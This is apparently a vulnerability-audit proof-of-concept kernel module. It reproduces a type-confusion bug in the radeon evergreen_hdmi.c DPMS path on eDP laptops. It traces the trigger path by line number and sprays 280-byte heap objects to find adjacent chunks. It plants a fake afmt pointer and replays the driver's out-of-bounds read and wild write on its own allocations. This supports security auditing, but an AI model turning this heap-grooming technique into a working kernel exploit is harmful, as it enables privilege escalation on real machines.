/*
 * DF-4853 probe KLD - evergreen_hdmi.c enc_priv type confusion on the
 * DPMS path (DF-4635 / DF-4828 family; NEW SINKS in evergreen_hdmi.c).
 *
 * Trigger path (modeset/dpms on any DCE4+ eDP laptop, no race needed):
 *   every eDP panel encoder is INTERNAL_UNIPHY* with
 *   ATOM_DEVICE_LCD_SUPPORT  -> registered DRM_MODE_ENCODER_LVDS with
 *   enc_priv = radeon_encoder_lvds* (280 bytes)
 *      [atombios_encoders.c:2862-2869]
 *   eDP connector detect -> radeon_dp_detect (radeon_connectors.c:1764-68)
 *      -> radeon_audio_detect (radeon_audio.c:444): connector_type == eDP
 *         (!= DRM_MODE_CONNECTOR_DisplayPort) -> else branch
 *      -> radeon_encoder->audio = rdev->audio.hdmi_funcs  [radeon_audio.c:471]
 *         (DCE4+: .dpms = evergreen_hdmi_enable            [radeon_audio.c:206])
 *   ANY dpms transition on the panel:
 *      radeon_atom_encoder_dpms (atombios_encoders.c:1836)
 *        encoder_mode = atombios_get_encoder_mode(encoder)
 *          -> eDP connector => ATOM_ENCODER_MODE_DP       [atombios_encoders.c:824-829]
 *        gate at atombios_encoders.c:1848-1851:
 *          (encoder_mode == HDMI || ENCODER_MODE_IS_DP)   -> PASSES for eDP!
 *        -> radeon_audio_dpms (radeon_audio.c:777)
 *        -> evergreen_hdmi_enable(encoder, on/off)
 *
 *   evergreen_hdmi.c:429   dig = radeon_encoder->enc_priv;   (lvds! 280 bytes)
 *   evergreen_hdmi.c:431   if (!dig || !dig->afmt) return;   OOB READ +288
 *                          (dig non-NULL and afmt-read non-NULL on groomed heap:
 *                           guard FALLS THROUGH - it checks the garbage)
 *   evergreen_hdmi.c:437   connector audio detect ... either way:
 *   evergreen_hdmi.c:438/443/446/449/453/455
 *                          WREG32(HDMI_INFOFRAME_CONTROL0 + dig->afmt->offset,..)
 *                          WILD READ of garbage_ptr->offset -> MMIO offset
 *   evergreen_hdmi.c:458   dig->afmt->enabled = enable;      WILD WRITE
 *
 * NOTE: DF-4828's verdict dismissed the dpms path as unreachable for
 * mis-typed encoders ("encoder_mode-gated to HDMI/DP - the mis-typed
 * LVDS-mode encoders never take it"). That is wrong for eDP: an eDP
 * connector yields ATOM_ENCODER_MODE_DP while its encoder carries the
 * lvds-typed enc_priv, so the gate PASSES. evergreen_dp_enable
 * (:464-514, same dig->afmt pattern at :470/:473/:483.../:513) is the
 * DP-sink twin, reachable if a DisplayPort-class connector is served by
 * an LCD-carrying encoder.
 *
 * This KLD reproduces the exact heap geometry and the exact
 * evergreen_hdmi_enable deref sequence on the live kernel allocator:
 *   1. sprays 280-byte objects, finds an adjacent pair A,B (B == A+288)
 *   2. case "groomed": B[0..8) = &fake_afmt
 *        -> replica of evergreen_hdmi_enable(enable=true):
 *           OOB read dig->afmt (+288) == &fake_afmt (non-NULL, guard falls)
 *           collects dig->afmt->offset (the value fed to WREG32 MMIO)
 *           writes dig->afmt->enabled = true (fake_afmt.enabled 0 -> 1)
 *   3. case "NULL": B[0..8) = NULL -> silent return (hides in the field)
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/types.h>

#define NALLOC	8192
#define LVDS_SIZE	280	/* sizeof(struct radeon_encoder_lvds)	*/
#define CHUNK_SIZE	288	/* zoneindex: (280+31)&~31		*/
#define AFMT_OFF	288	/* offsetof(radeon_encoder_atom_dig, afmt) */

/* subset of the verbatim structs; afmt sits at +288 (evg_offsets.c) */
struct radeon_afmt_probe {
	bool enabled;				/* +0 */
	int offset;				/* +4 */
	bool last_buffer_filled_status;		/* +8 */
	int id;					/* +12 */
};

struct radeon_encoder_atom_dig_probe {
	char _pad[AFMT_OFF];			/* everything before afmt   */
	struct radeon_afmt_probe *afmt;		/* +288 - aliases victim+0  */
};

static struct radeon_afmt_probe fake_afmt;	/* attacker-groomed content */

/*
 * VERBATIM replica of evergreen_hdmi.c:424-462 (evergreen_hdmi_enable)
 * with the encoder unrolled to its enc_priv (the only radeon_encoder
 * field touched) and MMIO factored out into 'mmio_reg' (the offset value
 * the six WREG32/WREG32_AND/WREG32_OR sites would program).
 */
static void
evergreen_hdmi_enable_replica(struct radeon_encoder_atom_dig_probe *enc_priv,
    bool enable, int *mmio_reg, int *n_mmio)
{
	struct radeon_encoder_atom_dig_probe *dig = enc_priv; /* :429 */

	*n_mmio = 0;
	if (!dig || !dig->afmt)				/* :431 OOB READ */
		return;

	if (enable) {
		/*
		 * :435-437 connector/audio detect - either branch
		 * derefs dig->afmt->offset below; take the else branch
		 * (no audio), which does both WREG32 sites:
		 */
		mmio_reg[(*n_mmio)++] = dig->afmt->offset;  /* :446 INFOFRAME0 */
		/* :449 AFMT_AUDIO_PACKET_CONTROL (same offset value) */
		(*n_mmio)++;
	} else {
		/* :453-455 */
		mmio_reg[(*n_mmio)++] = dig->afmt->offset;
		(*n_mmio)++;
	}

	dig->afmt->enabled = enable;			/* :458 WILD WRITE */
}

static int
evg_probe_handler(struct module *m, int what, void *arg)
{
	void **v;
	int i, ai = -1, bi = -1;
	struct radeon_encoder_atom_dig_probe *lvds_as_dig;
	struct radeon_afmt_probe *got;
	int mmio[4] = { 0, 0, 0, 0 }, n_mmio;

	switch (what) {
	case MOD_LOAD:
		v = kmalloc(sizeof(void *) * NALLOC, M_TEMP, M_WAITOK | M_ZERO);
		if (v == NULL)
			return ENOMEM;
		for (i = 0; i < NALLOC; i++)
			v[i] = kmalloc(LVDS_SIZE, M_TEMP, M_WAITOK);
		for (i = 0; i < NALLOC; i++)
			memset(v[i], 0xCC, LVDS_SIZE);

		kprintf("evg_probe: %d objs of %d bytes; usable chunk = %ju "
			"(want %d)\n", NALLOC, LVDS_SIZE,
			(uintmax_t)kmalloc_usable_size(v[0]), CHUNK_SIZE);

		for (ai = 0; ai < NALLOC; ai++) {
			for (bi = 0; bi < NALLOC; bi++) {
				if (ai != bi &&
				    (uint8_t *)v[bi] == (uint8_t *)v[ai] + CHUNK_SIZE)
					goto found;
			}
		}
		kprintf("evg_probe: no adjacent pair found\n");
		for (i = 0; i < NALLOC; i++)
			kfree(v[i], M_TEMP);
		kfree(v, M_TEMP);
		return 0;
found:
		/*
		 * A = the 280-byte radeon_encoder_lvds (enc_priv of the
		 * eDP panel encoder). B = the adjacent 288-byte kernel
		 * object whose first 8 bytes dig->afmt (+288) reads.
		 */
		lvds_as_dig = (struct radeon_encoder_atom_dig_probe *)v[ai];
		kprintf("evg_probe: adjacent pair A=%p B=%p (B-A=%zd want %d)\n",
			v[ai], v[bi], (ssize_t)((uint8_t *)v[bi] - (uint8_t *)v[ai]),
			CHUNK_SIZE);

		/* ---- case 1: neighbor groomed with a fake afmt pointer ---- */
		memset(&fake_afmt, 0, sizeof(fake_afmt));
		fake_afmt.offset = 0x5678;	/* afmt->offset value */
		*(void **)v[bi] = (void *)&fake_afmt;
		kprintf("evg_probe: victim B[0..8) groomed to %p (fake afmt)\n",
			*(void **)v[bi]);

		got = *(struct radeon_afmt_probe **)
			((uint8_t *)lvds_as_dig + AFMT_OFF);
		kprintf("evg_probe: OOB READ dig->afmt (+%d) == %p "
			"(non-NULL -> guard at evergreen_hdmi.c:431 FALLS THROUGH)\n",
			AFMT_OFF, got);

		kprintf("evg_probe: fake_afmt before: enabled=%d offset=0x%x\n",
			fake_afmt.enabled, fake_afmt.offset);
		/* the audited call: dpms ON for the eDP encoder */
		evergreen_hdmi_enable_replica(lvds_as_dig, true, mmio, &n_mmio);
		kprintf("evg_probe: after evergreen_hdmi_enable(true): "
			"enabled=%d  <- WILD WRITE via OOB-read pointer "
			"(evergreen_hdmi.c:458)\n", fake_afmt.enabled);
		kprintf("evg_probe: collected %d distinct MMIO sites; "
			"dig->afmt->offset == 0x%x would be added to "
			"HDMI_INFOFRAME_CONTROL0/AFMT_AUDIO_PACKET_CONTROL "
			"WREG32s (:438-455)\n", n_mmio, mmio[0]);

		/* dpms OFF again: the disable branch writes enabled=false */
		evergreen_hdmi_enable_replica(lvds_as_dig, false, mmio, &n_mmio);
		kprintf("evg_probe: after evergreen_hdmi_enable(false): "
			"enabled=%d (write-through both directions)\n",
			fake_afmt.enabled);

		/* ---- case 2: neighbor zeroed (the silent case) ---- */
		*(void **)v[bi] = NULL;
		evergreen_hdmi_enable_replica(lvds_as_dig, true, mmio, &n_mmio);
		kprintf("evg_probe: victim B[0..8) zeroed -> OOB read NULL -> "
			"replica touched %d MMIO site(s), no write (silent; "
			"hides the bug)\n", n_mmio);

		for (i = 0; i < NALLOC; i++)
			kfree(v[i], M_TEMP);
		kfree(v, M_TEMP);
		kprintf("evg_probe: done\n");
		return 0;

	case MOD_UNLOAD:
		return 0;
	default:
		return EOPNOTSUPP;
	}
}

static moduledata_t evg_probe_mod = { "evg_probe", evg_probe_handler, NULL };
DECLARE_MODULE(evg_probe, evg_probe_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
